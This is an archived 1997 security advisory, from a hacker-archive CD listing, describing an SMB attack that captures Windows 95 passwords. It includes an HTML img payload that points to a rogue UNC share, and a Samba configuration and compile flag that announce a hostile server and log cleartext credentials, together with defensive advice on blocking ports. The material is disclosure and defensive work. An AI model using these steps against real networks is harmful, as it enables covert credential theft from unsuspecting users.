home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / smbwin95.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.5 KB  |  95 lines

  1. SMB Attacks on Windows 95 
  2.  
  3. VERSIONS AFFECTED
  4.  
  5. Windows 95, with and without Internet Explorer.
  6.  
  7. DESCRIPTION
  8.  
  9. Apparently a new problem has been discovered that allows a malicious Web
  10. developer to snag a Windows 95 password in cleartext, given only the IP
  11. address and Workgroup name. The action could be done in such a way that it
  12. leaves no noticeable trace what-so-ever, which makes it incredibly
  13. dangerous indeed.
  14.  
  15. A Master Browser can be indirectly used as a tool against the machines it
  16. serves by introducing a hostile host in to the browse list. This exploit
  17. requires the use of a SAMBA server, which is a Unix based rendition of an
  18. SMB compatible server.
  19.  
  20. Samba servers are capable of announcing themselves to a remote network
  21. (workgroup) on a different subnet, given the workgroup name. An intruder
  22. may use this technique in two ways to gain access to a username and
  23. password. They could introduce a share from the system they place in the
  24. browse list, and wait for a user to make an attempt at accessing it - at
  25. which point the username and password are transmitted. They could also
  26. embed the file:// tag into a Web page and wait for a user to arrive at that
  27. page - at which point the Web browser would initiate a connection to the
  28. remote server named in the file:// tag, and promptly transmit the username
  29. and password. Sample HTML tag:
  30.  
  31. <img src=file://\\testsystem/testshare/testfile.gif> 
  32.  
  33. TESTING
  34.  
  35. * Compile Samba using -DDEBUG_PASSWORD
  36.  
  37. * Employ the remote announce option in the smb.cfg file, specifying the
  38. remote host or broadcast address, and workgroup name of the network you
  39. wish to test. Sample:
  40.  
  41.  workgroup = TEST
  42.  preferred master = yes
  43.  domain master = yes
  44.  security = user
  45.  debug level = 100
  46.  remote announce = 10.0.0.255/WORKGROUP_NAME
  47.  
  48. * Establish a share on the Samba server. Sample:
  49.  
  50. [testt]
  51.    path = /tmp
  52.    public = no
  53.    browsable = yes
  54.       
  55.  
  56. * If you wish, place one or more files in the directory, then start the
  57. smbd daemon. At this point, any SMB related traffic (e.g. browsing the
  58. local machine) will cause the Samba server to announce itself to the remote
  59. network specified. If the remote network is succesfully contacted, the
  60. Samba server may be added to that network's browse list.
  61.  
  62. Later, checking the Samba log will reveal any information it has collected
  63. about usernames and passwords. Entries will look similar to this:
  64.  
  65. checking user=[username] pass=[password] 
  66.  
  67. DEFENSE
  68.  
  69. Even though you need to have the remote network's workgroup name previous
  70. to this type of attack, keep in mind that this name could be easily
  71. obtained using the Windows nbtstat command.
  72.  
  73. Also take note that it is VERY easy for a perpetrator to completely hide
  74. themselves during this attack by making a few minor adjustments to their
  75. hostname and /etc/hosts file. In otherwords, this could be done in an
  76. untraceable fashion in certain instances.
  77.  
  78. To stop this type of attack from outside your network (Internet), block
  79. access to inbound traffic destined for ports 137, 138, and 139 on your
  80. network. This does not solve problems with this type of attack coming from
  81. inside your network.
  82.  
  83. Microsoft was informed of this problem on March 17, 1997. Watch this page
  84. for more information.
  85.  
  86. Credits
  87.  
  88. Discovered by Steve Birnbaum with help from Mark Gazit.
  89. Additional support from Yacov Drori and Roman Lasker.
  90. Thanks to hobbit for his paper on CIFS, 
  91. Thanks also to BioH for helping to test this, and anyone else who helped or
  92. provided ideas. 
  93.  
  94. Posted here at The NT Shop March 17, 1997 - 10:40pm
  95.